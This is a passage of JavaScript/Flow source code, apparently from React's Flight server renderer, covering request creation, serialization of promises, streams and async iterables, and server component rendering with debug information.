onAllReady;\n  this.onFatalError = onFatalError;\n\n  if (__DEV__) {\n    this.pendingDebugChunks = 0;\n    this.completedDebugChunks = ([]: Array<Chunk>);\n    this.debugDestination = null;\n    this.environmentName =\n      environmentName === undefined\n        ? () => 'Server'\n        : typeof environmentName !== 'function'\n          ? () => environmentName\n          : environmentName;\n    this.filterStackFrame =\n      filterStackFrame === undefined\n        ? defaultFilterStackFrame\n        : filterStackFrame;\n    this.didWarnForKey = null;\n    this.writtenDebugObjects = new WeakMap();\n    this.deferredDebugObjects = keepDebugAlive\n      ? {\n          retained: new Map(),\n          existing: new Map(),\n        }\n      : null;\n  }\n\n  let timeOrigin: number;\n  if (\n    enableProfilerTimer &&\n    (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n  ) {\n    // We start by serializing the time origin. Any future timestamps will be\n    // emitted relatively to this origin. Instead of using performance.timeOrigin\n    // as this origin, we use the timestamp at the start of the request.\n    // This avoids leaking unnecessary information like how long the server has\n    // been running and allows for more compact representation of each timestamp.\n    // The time origin is stored as an offset in the time space of this environment.\n    if (typeof debugStartTime === 'number') {\n      // We expect `startTime` to be an absolute timestamp, so relativize it to match the other case.\n      timeOrigin = this.timeOrigin =\n        debugStartTime -\n        // $FlowFixMe[prop-missing]\n        performance.timeOrigin;\n    } else {\n      timeOrigin = this.timeOrigin = performance.now();\n    }\n    emitTimeOriginChunk(\n      this,\n      timeOrigin +\n        // $FlowFixMe[prop-missing]\n        performance.timeOrigin,\n    );\n    this.abortTime = -0.0;\n  } else {\n    timeOrigin = 0;\n  }\n\n  const rootTask = createTask(\n    this,\n    model,\n    null,\n    false,\n    createRootFormatContext(),\n    abortSet,\n    timeOrigin,\n    null,\n    null,\n    null,\n  );\n  pingedTasks.push(rootTask);\n}\n\nexport function createRequest(\n  model: ReactClientValue,\n  bundlerConfig: ClientManifest,\n  onError: void | ((error: mixed) => ?string),\n  identifierPrefix: void | string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  debugStartTime: void | number, // Profiling-only\n  environmentName: void | string | (() => string), // DEV-only\n  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only\n  keepDebugAlive: boolean, // DEV-only\n): Request {\n  if (__DEV__) {\n    resetOwnerStackLimit();\n  }\n\n  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n  return new RequestInstance(\n    RENDER,\n    model,\n    bundlerConfig,\n    onError,\n    noop,\n    noop,\n    identifierPrefix,\n    temporaryReferences,\n    debugStartTime,\n    environmentName,\n    filterStackFrame,\n    keepDebugAlive,\n  );\n}\n\nexport function createPrerenderRequest(\n  model: ReactClientValue,\n  bundlerConfig: ClientManifest,\n  onAllReady: () => void,\n  onFatalError: () => void,\n  onError: void | ((error: mixed) => ?string),\n  identifierPrefix: void | string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  debugStartTime: void | number, // Profiling-only\n  environmentName: void | string | (() => string), // DEV-only\n  filterStackFrame: void | ((url: string, functionName: string) => boolean), // DEV-only\n  keepDebugAlive: boolean, // DEV-only\n): Request {\n  if (__DEV__) {\n    resetOwnerStackLimit();\n  }\n\n  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n  return new RequestInstance(\n    PRERENDER,\n    model,\n    bundlerConfig,\n    onError,\n    onAllReady,\n    onFatalError,\n    identifierPrefix,\n    temporaryReferences,\n    debugStartTime,\n    environmentName,\n    filterStackFrame,\n    keepDebugAlive,\n  );\n}\n\nlet currentRequest: null | Request = null;\n\nexport function resolveRequest(): null | Request {\n  if (currentRequest) return currentRequest;\n  if (supportsRequestStorage) {\n    const store = requestStorage.getStore();\n    if (store) return store;\n  }\n  return null;\n}\n\nfunction isTypedArray(value: any): boolean {\n  if (value instanceof ArrayBuffer) {\n    return true;\n  }\n  if (value instanceof Int8Array) {\n    return true;\n  }\n  if (value instanceof Uint8Array) {\n    return true;\n  }\n  if (value instanceof Uint8ClampedArray) {\n    return true;\n  }\n  if (value instanceof Int16Array) {\n    return true;\n  }\n  if (value instanceof Uint16Array) {\n    return true;\n  }\n  if (value instanceof Int32Array) {\n    return true;\n  }\n  if (value instanceof Uint32Array) {\n    return true;\n  }\n  if (value instanceof Float32Array) {\n    return true;\n  }\n  if (value instanceof Float64Array) {\n    return true;\n  }\n  if (value instanceof BigInt64Array) {\n    return true;\n  }\n  if (value instanceof BigUint64Array) {\n    return true;\n  }\n  if (value instanceof DataView) {\n    return true;\n  }\n  return false;\n}\n\nfunction serializeDebugThenable(\n  request: Request,\n  counter: {objectLimit: number},\n  thenable: Thenable<any>,\n): string {\n  // Like serializeThenable but for renderDebugModel\n  request.pendingDebugChunks++;\n  const id = request.nextChunkId++;\n  const ref = serializePromiseID(id);\n  request.writtenDebugObjects.set(thenable, ref);\n\n  switch (thenable.status) {\n    case 'fulfilled': {\n      emitOutlinedDebugModelChunk(request, id, counter, thenable.value);\n      return ref;\n    }\n    case 'rejected': {\n      const x = thenable.reason;\n      // We don't log these errors since they didn't actually throw into Flight.\n      const digest = '';\n      emitErrorChunk(request, id, digest, x, true, null);\n      return ref;\n    }\n  }\n\n  if (request.status === ABORTING) {\n    // Ensure that we have time to emit the halt chunk if we're sync aborting.\n    emitDebugHaltChunk(request, id);\n    return ref;\n  }\n\n  const deferredDebugObjects = request.deferredDebugObjects;\n  if (deferredDebugObjects !== null) {\n    // For Promises that are not yet resolved, we always defer them. They are async anyway so it's\n    // safe to defer them. This also ensures that we don't eagerly call .then() on a Promise that\n    // otherwise wouldn't have initialized. It also ensures that we don't \"handle\" a rejection\n    // that otherwise would have triggered unhandled rejection.\n    deferredDebugObjects.retained.set(id, (thenable: any));\n    const deferredRef = '$Y@' + id.toString(16);\n    // We can now refer to the deferred object in the future.\n    request.writtenDebugObjects.set(thenable, deferredRef);\n    return deferredRef;\n  }\n\n  let cancelled = false;\n\n  thenable.then(\n    value => {\n      if (cancelled) {\n        return;\n      }\n      cancelled = true;\n      if (request.status === ABORTING) {\n        emitDebugHaltChunk(request, id);\n        enqueueFlush(request);\n        return;\n      }\n      if (\n        (isArray(value) && value.length > 200) ||\n        (isTypedArray(value) && value.byteLength > 1000)\n      ) {\n        // If this should be deferred, but we don't have a debug channel installed\n        // it would get omitted. We can't omit outlined models but we can avoid\n        // resolving the Promise at all by halting it.\n        emitDebugHaltChunk(request, id);\n        enqueueFlush(request);\n        return;\n      }\n      emitOutlinedDebugModelChunk(request, id, counter, value);\n      enqueueFlush(request);\n    },\n    reason => {\n      if (cancelled) {\n        return;\n      }\n      cancelled = true;\n      if (request.status === ABORTING) {\n        emitDebugHaltChunk(request, id);\n        enqueueFlush(request);\n        return;\n      }\n      // We don't log these errors since they didn't actually throw into Flight.\n      const digest = '';\n      emitErrorChunk(request, id, digest, reason, true, null);\n      enqueueFlush(request);\n    },\n  );\n\n  // We don't use scheduleMicrotask here because it doesn't actually schedule a microtask\n  // in all our configs which is annoying.\n  Promise.resolve().then(() => {\n    // If we don't resolve the Promise within a microtask. Leave it as hanging since we\n    // don't want to block the render forever on a Promise that might never resolve.\n    if (cancelled) {\n      return;\n    }\n    cancelled = true;\n    emitDebugHaltChunk(request, id);\n    enqueueFlush(request);\n    // Clean up the request so we don't leak this forever.\n    request = (null: any);\n    counter = (null: any);\n  });\n\n  return ref;\n}\n\nfunction emitRequestedDebugThenable(\n  request: Request,\n  id: number,\n  counter: {objectLimit: number},\n  thenable: Thenable<any>,\n): void {\n  thenable.then(\n    value => {\n      if (request.status === ABORTING) {\n        emitDebugHaltChunk(request, id);\n        enqueueFlush(request);\n        return;\n      }\n      emitOutlinedDebugModelChunk(request, id, counter, value);\n      enqueueFlush(request);\n    },\n    reason => {\n      if (request.status === ABORTING) {\n        emitDebugHaltChunk(request, id);\n        enqueueFlush(request);\n        return;\n      }\n      // We don't log these errors since they didn't actually throw into Flight.\n      const digest = '';\n      emitErrorChunk(request, id, digest, reason, true, null);\n      enqueueFlush(request);\n    },\n  );\n}\n\nfunction serializeThenable(\n  request: Request,\n  task: Task,\n  thenable: Thenable<any>,\n): number {\n  const newTask = createTask(\n    request,\n    (thenable: any), // will be replaced by the value before we retry. used for debug info.\n    task.keyPath, // the server component sequence continues through Promise-as-a-child.\n    task.implicitSlot,\n    task.formatContext,\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? task.time\n      : 0,\n    __DEV__ ? task.debugOwner : null,\n    __DEV__ ? task.debugStack : null,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  switch (thenable.status) {\n    case 'fulfilled': {\n      forwardDebugInfoFromThenable(request, newTask, thenable, null, null);\n      // We have the resolved value, we can go ahead and schedule it for serialization.\n      newTask.model = thenable.value;\n      pingTask(request, newTask);\n      return newTask.id;\n    }\n    case 'rejected': {\n      forwardDebugInfoFromThenable(request, newTask, thenable, null, null);\n      const x = thenable.reason;\n      erroredTask(request, newTask, x);\n      return newTask.id;\n    }\n    default: {\n      if (request.status === ABORTING) {\n        // We can no longer accept any resolved values\n        request.abortableTasks.delete(newTask);\n        if (request.type === PRERENDER) {\n          haltTask(newTask, request);\n          finishHaltedTask(newTask, request);\n        } else {\n          const errorId: number = (request.fatalError: any);\n          abortTask(newTask, request, errorId);\n          finishAbortedTask(newTask, request, errorId);\n        }\n        return newTask.id;\n      }\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        break;\n      }\n      const pendingThenable: PendingThenable<mixed> = (thenable: any);\n      pendingThenable.status = 'pending';\n      pendingThenable.then(\n        fulfilledValue => {\n          if (thenable.status === 'pending') {\n            const fulfilledThenable: FulfilledThenable<mixed> = (thenable: any);\n            fulfilledThenable.status = 'fulfilled';\n            fulfilledThenable.value = fulfilledValue;\n          }\n        },\n        (error: mixed) => {\n          if (thenable.status === 'pending') {\n            const rejectedThenable: RejectedThenable<mixed> = (thenable: any);\n            rejectedThenable.status = 'rejected';\n            rejectedThenable.reason = error;\n          }\n        },\n      );\n      break;\n    }\n  }\n\n  thenable.then(\n    value => {\n      forwardDebugInfoFromCurrentContext(request, newTask, thenable);\n      newTask.model = value;\n      pingTask(request, newTask);\n    },\n    reason => {\n      if (newTask.status === PENDING) {\n        if (\n          enableProfilerTimer &&\n          (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n        ) {\n          // If this is async we need to time when this task finishes.\n          newTask.timed = true;\n        }\n        // We expect that the only status it might be otherwise is ABORTED.\n        // When we abort we emit chunks in each pending task slot and don't need\n        // to do so again here.\n        erroredTask(request, newTask, reason);\n        enqueueFlush(request);\n      }\n    },\n  );\n\n  return newTask.id;\n}\n\nfunction serializeReadableStream(\n  request: Request,\n  task: Task,\n  stream: ReadableStream,\n): string {\n  // Detect if this is a BYOB stream. BYOB streams should be able to be read as bytes on the\n  // receiving side. It also implies that different chunks can be split up or merged as opposed\n  // to a readable stream that happens to have Uint8Array as the type which might expect it to be\n  // received in the same slices.\n  // $FlowFixMe: This is a Node.js extension.\n  let supportsBYOB: void | boolean = stream.supportsBYOB;\n  if (supportsBYOB === undefined) {\n    try {\n      // $FlowFixMe[extra-arg]: This argument is accepted.\n      stream.getReader({mode: 'byob'}).releaseLock();\n      supportsBYOB = true;\n    } catch (x) {\n      supportsBYOB = false;\n    }\n  }\n  // At this point supportsBYOB is guaranteed to be a boolean.\n  const isByteStream: boolean = supportsBYOB;\n\n  const reader = stream.getReader();\n\n  // This task won't actually be retried. We just use it to attempt synchronous renders.\n  const streamTask = createTask(\n    request,\n    task.model,\n    task.keyPath,\n    task.implicitSlot,\n    task.formatContext,\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? task.time\n      : 0,\n    __DEV__ ? task.debugOwner : null,\n    __DEV__ ? task.debugStack : null,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  // The task represents the Stop row. This adds a Start row.\n  request.pendingChunks++;\n  const startStreamRow =\n    streamTask.id.toString(16) + ':' + (isByteStream ? 'r' : 'R') + '\\n';\n  request.completedRegularChunks.push(stringToChunk(startStreamRow));\n\n  function progress(entry: {done: boolean, value: ReactClientValue, ...}) {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n\n    if (entry.done) {\n      streamTask.status = COMPLETED;\n      const endStreamRow = streamTask.id.toString(16) + ':C\\n';\n      request.completedRegularChunks.push(stringToChunk(endStreamRow));\n      request.abortableTasks.delete(streamTask);\n      request.cacheController.signal.removeEventListener('abort', abortStream);\n      enqueueFlush(request);\n      callOnAllReadyIfReady(request);\n    } else {\n      try {\n        request.pendingChunks++;\n        streamTask.model = entry.value;\n        if (isByteStream) {\n          // Chunks of byte streams are always Uint8Array instances.\n          const chunk: Uint8Array = (streamTask.model: any);\n          emitTypedArrayChunk(request, streamTask.id, 'b', chunk, false);\n        } else {\n          tryStreamTask(request, streamTask);\n        }\n        enqueueFlush(request);\n        reader.read().then(progress, error);\n      } catch (x) {\n        error(x);\n      }\n    }\n  }\n  function error(reason: mixed) {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n    request.cacheController.signal.removeEventListener('abort', abortStream);\n    erroredTask(request, streamTask, reason);\n    enqueueFlush(request);\n\n    // $FlowFixMe should be able to pass mixed\n    reader.cancel(reason).then(error, error);\n  }\n  function abortStream() {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n    const signal = request.cacheController.signal;\n    signal.removeEventListener('abort', abortStream);\n    const reason = signal.reason;\n    if (request.type === PRERENDER) {\n      request.abortableTasks.delete(streamTask);\n      haltTask(streamTask, request);\n      finishHaltedTask(streamTask, request);\n    } else {\n      // TODO: Make this use abortTask() instead.\n      erroredTask(request, streamTask, reason);\n      enqueueFlush(request);\n    }\n    // $FlowFixMe should be able to pass mixed\n    reader.cancel(reason).then(error, error);\n  }\n\n  request.cacheController.signal.addEventListener('abort', abortStream);\n  reader.read().then(progress, error);\n  return serializeByValueID(streamTask.id);\n}\n\nfunction serializeAsyncIterable(\n  request: Request,\n  task: Task,\n  iterable: $AsyncIterable<ReactClientValue, ReactClientValue, void>,\n  iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,\n): string {\n  // Generators/Iterators are Iterables but they're also their own iterator\n  // functions. If that's the case, we treat them as single-shot. Otherwise,\n  // we assume that this iterable might be a multi-shot and allow it to be\n  // iterated more than once on the client.\n  const isIterator = iterable === iterator;\n\n  // This task won't actually be retried. We just use it to attempt synchronous renders.\n  const streamTask = createTask(\n    request,\n    task.model,\n    task.keyPath,\n    task.implicitSlot,\n    task.formatContext,\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? task.time\n      : 0,\n    __DEV__ ? task.debugOwner : null,\n    __DEV__ ? task.debugStack : null,\n    __DEV__ ? task.debugTask : null,\n  );\n\n  if (__DEV__) {\n    const debugInfo: ?ReactDebugInfo = (iterable: any)._debugInfo;\n    if (debugInfo) {\n      forwardDebugInfo(request, streamTask, debugInfo);\n    }\n  }\n\n  // The task represents the Stop row. This adds a Start row.\n  request.pendingChunks++;\n  const startStreamRow =\n    streamTask.id.toString(16) + ':' + (isIterator ? 'x' : 'X') + '\\n';\n  request.completedRegularChunks.push(stringToChunk(startStreamRow));\n\n  function progress(\n    entry:\n      | {done: false, +value: ReactClientValue, ...}\n      | {done: true, +value: ReactClientValue, ...},\n  ) {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n\n    if (entry.done) {\n      streamTask.status = COMPLETED;\n      let endStreamRow;\n      if (entry.value === undefined) {\n        endStreamRow = streamTask.id.toString(16) + ':C\\n';\n      } else {\n        // Unlike streams, the last value may not be undefined. If it's not\n        // we outline it and encode a reference to it in the closing instruction.\n        try {\n          const chunkId = outlineModel(request, entry.value);\n          endStreamRow =\n            streamTask.id.toString(16) +\n            ':C' +\n            stringify(serializeByValueID(chunkId)) +\n            '\\n';\n        } catch (x) {\n          error(x);\n          return;\n        }\n      }\n      request.completedRegularChunks.push(stringToChunk(endStreamRow));\n      request.abortableTasks.delete(streamTask);\n      request.cacheController.signal.removeEventListener(\n        'abort',\n        abortIterable,\n      );\n      enqueueFlush(request);\n      callOnAllReadyIfReady(request);\n    } else {\n      try {\n        streamTask.model = entry.value;\n        request.pendingChunks++;\n        tryStreamTask(request, streamTask);\n        enqueueFlush(request);\n        if (__DEV__) {\n          callIteratorInDEV(iterator, progress, error);\n        } else {\n          iterator.next().then(progress, error);\n        }\n      } catch (x) {\n        error(x);\n        return;\n      }\n    }\n  }\n  function error(reason: mixed) {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n    request.cacheController.signal.removeEventListener('abort', abortIterable);\n    erroredTask(request, streamTask, reason);\n    enqueueFlush(request);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n  function abortIterable() {\n    if (streamTask.status !== PENDING) {\n      return;\n    }\n    const signal = request.cacheController.signal;\n    signal.removeEventListener('abort', abortIterable);\n    const reason = signal.reason;\n    if (request.type === PRERENDER) {\n      request.abortableTasks.delete(streamTask);\n      haltTask(streamTask, request);\n      finishHaltedTask(streamTask, request);\n    } else {\n      // TODO: Make this use abortTask() instead.\n      erroredTask(request, streamTask, signal.reason);\n      enqueueFlush(request);\n    }\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n  request.cacheController.signal.addEventListener('abort', abortIterable);\n  if (__DEV__) {\n    callIteratorInDEV(iterator, progress, error);\n  } else {\n    iterator.next().then(progress, error);\n  }\n  return serializeByValueID(streamTask.id);\n}\n\nexport function emitHint<Code: HintCode>(\n  request: Request,\n  code: Code,\n  model: HintModel<Code>,\n): void {\n  emitHintChunk(request, code, model);\n  enqueueFlush(request);\n}\n\nexport function getHints(request: Request): Hints {\n  return request.hints;\n}\n\nexport function getCache(request: Request): Map<Function, mixed> {\n  return request.cache;\n}\n\nfunction readThenable<T>(thenable: Thenable<T>): T {\n  if (thenable.status === 'fulfilled') {\n    return thenable.value;\n  } else if (thenable.status === 'rejected') {\n    throw thenable.reason;\n  }\n  throw thenable;\n}\n\nfunction createLazyWrapperAroundWakeable(\n  request: Request,\n  task: Task,\n  wakeable: Wakeable,\n) {\n  // This is a temporary fork of the `use` implementation until we accept\n  // promises everywhere.\n  const thenable: Thenable<mixed> = (wakeable: any);\n  switch (thenable.status) {\n    case 'fulfilled': {\n      forwardDebugInfoFromThenable(request, task, thenable, null, null);\n      return thenable.value;\n    }\n    case 'rejected':\n      forwardDebugInfoFromThenable(request, task, thenable, null, null);\n      break;\n    default: {\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        break;\n      }\n      const pendingThenable: PendingThenable<mixed> = (thenable: any);\n      pendingThenable.status = 'pending';\n      pendingThenable.then(\n        fulfilledValue => {\n          forwardDebugInfoFromCurrentContext(request, task, thenable);\n          if (thenable.status === 'pending') {\n            const fulfilledThenable: FulfilledThenable<mixed> = (thenable: any);\n            fulfilledThenable.status = 'fulfilled';\n            fulfilledThenable.value = fulfilledValue;\n          }\n        },\n        (error: mixed) => {\n          forwardDebugInfoFromCurrentContext(request, task, thenable);\n          if (thenable.status === 'pending') {\n            const rejectedThenable: RejectedThenable<mixed> = (thenable: any);\n            rejectedThenable.status = 'rejected';\n            rejectedThenable.reason = error;\n          }\n        },\n      );\n      break;\n    }\n  }\n  const lazyType: LazyComponent<any, Thenable<any>> = {\n    $$typeof: REACT_LAZY_TYPE,\n    _payload: thenable,\n    _init: readThenable,\n  };\n  return lazyType;\n}\n\nfunction callWithDebugContextInDEV<A, T>(\n  request: Request,\n  task: Task,\n  callback: A => T,\n  arg: A,\n): T {\n  // We don't have a Server Component instance associated with this callback and\n  // the nearest context is likely a Client Component being serialized. We create\n  // a fake owner during this callback so we can get the stack trace from it.\n  // This also gets sent to the client as the owner for the replaying log.\n  const componentDebugInfo: ReactComponentInfo = {\n    name: '',\n    env: task.environmentName,\n    key: null,\n    owner: task.debugOwner,\n  };\n  // $FlowFixMe[cannot-write]\n  componentDebugInfo.stack =\n    task.debugStack === null\n      ? null\n      : filterStackTrace(request, parseStackTrace(task.debugStack, 1));\n  // $FlowFixMe[cannot-write]\n  componentDebugInfo.debugStack = task.debugStack;\n  // $FlowFixMe[cannot-write]\n  componentDebugInfo.debugTask = task.debugTask;\n  const debugTask = task.debugTask;\n  // We don't need the async component storage context here so we only set the\n  // synchronous tracking of owner.\n  setCurrentOwner(componentDebugInfo);\n  try {\n    if (debugTask) {\n      return debugTask.run(callback.bind(null, arg));\n    }\n    return callback(arg);\n  } finally {\n    setCurrentOwner(null);\n  }\n}\n\nconst voidHandler = () => {};\n\nfunction processServerComponentReturnValue(\n  request: Request,\n  task: Task,\n  Component: any,\n  result: any,\n): any {\n  // A Server Component's return value has a few special properties due to being\n  // in the return position of a Component. We convert them here.\n  if (\n    typeof result !== 'object' ||\n    result === null ||\n    isClientReference(result)\n  ) {\n    return result;\n  }\n\n  if (typeof result.then === 'function') {\n    // When the return value is in children position we can resolve it immediately,\n    // to its value without a wrapper if it's synchronously available.\n    const thenable: Thenable<any> = result;\n    if (__DEV__) {\n      // If the thenable resolves to an element, then it was in a static position,\n      // the return value of a Server Component. That doesn't need further validation\n      // of keys. The Server Component itself would have had a key.\n      thenable.then(resolvedValue => {\n        if (\n          typeof resolvedValue === 'object' &&\n          resolvedValue !== null &&\n          resolvedValue.$$typeof === REACT_ELEMENT_TYPE\n        ) {\n          resolvedValue._store.validated = 1;\n        }\n      }, voidHandler);\n    }\n    // TODO: Once we accept Promises as children on the client, we can just return\n    // the thenable here.\n    return createLazyWrapperAroundWakeable(request, task, result);\n  }\n\n  if (__DEV__) {\n    if ((result: any).$$typeof === REACT_ELEMENT_TYPE) {\n      // If the server component renders to an element, then it was in a static position.\n      // That doesn't need further validation of keys. The Server Component itself would\n      // have had a key.\n      (result: any)._store.validated = 1;\n    }\n  }\n\n  // Normally we'd serialize an Iterator/AsyncIterator as a single-shot which is not compatible\n  // to be rendered as a React Child. However, because we have the function to recreate\n  // an iterable from rendering the element again, we can effectively treat it as multi-\n  // shot. Therefore we treat this as an Iterable/AsyncIterable, whether it was one or not, by\n  // adding a wrapper so that this component effectively renders down to an AsyncIterable.\n  const iteratorFn = getIteratorFn(result);\n  if (iteratorFn) {\n    const iterableChild = result;\n    const multiShot = {\n      [Symbol.iterator]: function () {\n        const iterator = iteratorFn.call(iterableChild);\n        if (__DEV__) {\n          // If this was an Iterator but not a GeneratorFunction we warn because\n          // it might have been a mistake. Technically you can make this mistake with\n          // GeneratorFunctions and even single-shot Iterables too but it's extra\n          // tempting to try to return the value from a generator.\n          if (iterator === iterableChild) {\n            const isGeneratorComponent =\n              // $FlowIgnore[method-unbinding]\n              Object.prototype.toString.call(Component) ===\n                '[object GeneratorFunction]' &&\n              // $FlowIgnore[method-unbinding]\n              Object.prototype.toString.call(iterableChild) ===\n                '[object Generator]';\n            if (!isGeneratorComponent) {\n              callWithDebugContextInDEV(request, task, () => {\n                console.error(\n                  'Returning an Iterator from a Server Component is not supported ' +\n                    'since it cannot be looped over more than once. ',\n                );\n              });\n            }\n          }\n        }\n        return (iterator: any);\n      },\n    };\n    if (__DEV__) {\n      (multiShot: any)._debugInfo = iterableChild._debugInfo;\n    }\n    return multiShot;\n  }\n  if (\n    typeof (result: any)[ASYNC_ITERATOR] === 'function' &&\n    (typeof ReadableStream !== 'function' ||\n      !(result instanceof ReadableStream))\n  ) {\n    const iterableChild = result;\n    const multishot = {\n      [ASYNC_ITERATOR]: function () {\n        const iterator = (iterableChild: any)[ASYNC_ITERATOR]();\n        if (__DEV__) {\n          // If this was an AsyncIterator but not an AsyncGeneratorFunction we warn because\n          // it might have been a mistake. Technically you can make this mistake with\n          // AsyncGeneratorFunctions and even single-shot AsyncIterables too but it's extra\n          // tempting to try to return the value from a generator.\n          if (iterator === iterableChild) {\n            const isGeneratorComponent =\n              // $FlowIgnore[method-unbinding]\n              Object.prototype.toString.call(Component) ===\n                '[object AsyncGeneratorFunction]' &&\n              // $FlowIgnore[method-unbinding]\n              Object.prototype.toString.call(iterableChild) ===\n                '[object AsyncGenerator]';\n            if (!isGeneratorComponent) {\n              callWithDebugContextInDEV(request, task, () => {\n                console.error(\n                  'Returning an AsyncIterator from a Server Component is not supported ' +\n                    'since it cannot be looped over more than once. ',\n                );\n              });\n            }\n          }\n        }\n        return iterator;\n      },\n    };\n    if (__DEV__) {\n      (multishot: any)._debugInfo = iterableChild._debugInfo;\n    }\n    return multishot;\n  }\n  return result;\n}\n\nfunction renderFunctionComponent<Props>(\n  request: Request,\n  task: Task,\n  key: ReactKey,\n  Component: (p: Props, arg: void) => any,\n  props: Props,\n  validated: number, // DEV-only\n): ReactJSONValue {\n  // Reset the task's thenable state before continuing, so that if a later\n  // component suspends we can reuse the same task object. If the same\n  // component suspends again, the thenable state will be restored.\n  const prevThenableState = task.thenableState;\n  task.thenableState = null;\n\n  let result;\n\n  let componentDebugInfo: ReactComponentInfo;\n  if (__DEV__) {\n    if (!canEmitDebugInfo) {\n      // We don't have a chunk to assign debug info. We need to outline this\n      // component to assign it an ID.\n      return outlineTask(request, task);\n    } else if (prevThenableState !== null) {\n      // This is a replay and we've already emitted the debug info of this component\n      // in the first pass. We skip emitting a duplicate line.\n      // As a hack we stashed the previous component debug info on this object in DEV.\n      componentDebugInfo = (prevThenableState: any)._componentDebugInfo;\n    } else {\n      // This is a new component in the same task so we can emit more debug info.\n      const componentDebugID = task.id;\n      const componentName =\n        (Component: any).displayName || Component.name || '';\n      const componentEnv = (0, request.environmentName)();\n      request.pendingChunks++;\n      componentDebugInfo = ({\n        name: componentName,\n        env: componentEnv,\n        key: key,\n        owner: task.debugOwner,\n      }: ReactComponentInfo);\n      // $FlowFixMe[cannot-write]\n      componentDebugInfo.stack =\n        task.debugStack === null\n          ? null\n          : filterStackTrace(request, parseStackTrace(task.debugStack, 1));\n      // $FlowFixMe[cannot-write]\n      componentDebugInfo.props = props;\n      // $FlowFixMe[cannot-write]\n      componentDebugInfo.debugStack = task.debugStack;\n      // $FlowFixMe[cannot-write]\n      componentDebugInfo.debugTask = task.debugTask;\n\n      // We outline this model eagerly so that we can refer to by reference as an owner.\n      // If we had a smarter way to dedupe we might not have to do this if there ends up\n      // being no references to this as an owner.\n\n      outlineComponentInfo(request, componentDebugInfo);\n\n      // Track when we started rendering this component.\n      if (\n        enableProfilerTimer &&\n        (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ) {\n        advanceTaskTime(request, task, performance.now());\n      }\n\n      emitDebugChunk(request, componentDebugID, componentDebugInfo);\n\n      // We've emitted the latest environment for this task so we track that.\n      task.environmentName = componentEnv;\n\n      if (validated === 2) {\n        warnForMissingKey(request, key, componentDebugInfo, task.debugTask);\n      }\n    }\n    prepareToUseHooksForComponent(prevThenableState, componentDebugInfo);\n    if (supportsComponentStorage) {\n      // Run the component in an Async Context that tracks the current owner.\n      if (task.debugTask) {\n        result = task.debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          componentStorage.run.bind(\n            componentStorage,\n            componentDebugInfo,\n            callComponentInDEV,\n            Component,\n            props,\n            componentDebugInfo,\n          ),\n        );\n      } else {\n        result = componentStorage.run(\n          componentDebugInfo,\n          callComponentInDEV,\n          Component,\n          props,\n          componentDebugInfo,\n        );\n      }\n    } else {\n      if (task.debugTask) {\n        result = task.debugTask.run(\n          callComponentInDEV.bind(null, Component, props, componentDebugInfo),\n        );\n      } else {\n        result = callComponentInDEV(Component, props, componentDebugInfo);\n      }\n    }\n  } else {\n    componentDebugInfo = (null: any);\n    prepareToUseHooksForComponent(prevThenableState, null);\n    // The secondArg is always undefined in Server Components since refs error early.\n    const secondArg = undefined;\n    result = Component(props, secondArg);\n  }\n\n  if (request.status === ABORTING) {\n    if (\n      typeof result === 'object' &&\n      result !== null &&\n      typeof result.then === 'function' &&\n      !isClientReference(result)\n    ) {\n      result.then(voidHandler, voidHandler);\n    }\n    // If we aborted during rendering we should interrupt the render but\n    // we don't need to provide an error because the renderer will encode\n    // the abort error as the reason.\n    // eslint-disable-next-line no-throw-literal\n    throw null;\n  }\n\n  if (__DEV__ || (enableProfilerTimer && enableAsyncDebugInfo)) {\n    // Forward any debug information for any Promises that we use():ed during the render.\n    // We do this at the end so that we don't keep doing this for each retry.\n    const trackedThenables = getTrackedThenablesAfterRendering();\n    if (trackedThenables !== null) {\n      const stacks: Array<Error> =\n        __DEV__ && enableAsyncDebugInfo\n          ? (trackedThenables: any)._stacks ||\n            ((trackedThenables: any)._stacks = [])\n          : (null: any);\n      for (let i = 0; i < trackedThenables.length; i++) {\n        const stack = __DEV__ && enableAsyncDebugInfo ? stacks[i] : null;\n        forwardDebugInfoFromThenable(\n          request,\n          task,\n          trackedThenables[i],\n          __DEV__ ? componentDebugInfo : null,\n          stack,\n        );\n      }\n    }\n  }\n\n  // Apply special cases.\n  result = processServerComponentReturnValue(request, task, Component, result);\n\n  if (__DEV__) {\n    // From this point on, the parent is the component we just rendered until we\n    // hit another JSX element.\n    task.debugOwner = componentDebugInfo;\n    // Unfortunately, we don't have a stack frame for this position. Conceptually\n    // it would be the location of the `return` inside component that just rendered.\n    task.debugStack = null;\n    task.debugTask = null;\n  }\n\n  // Track this 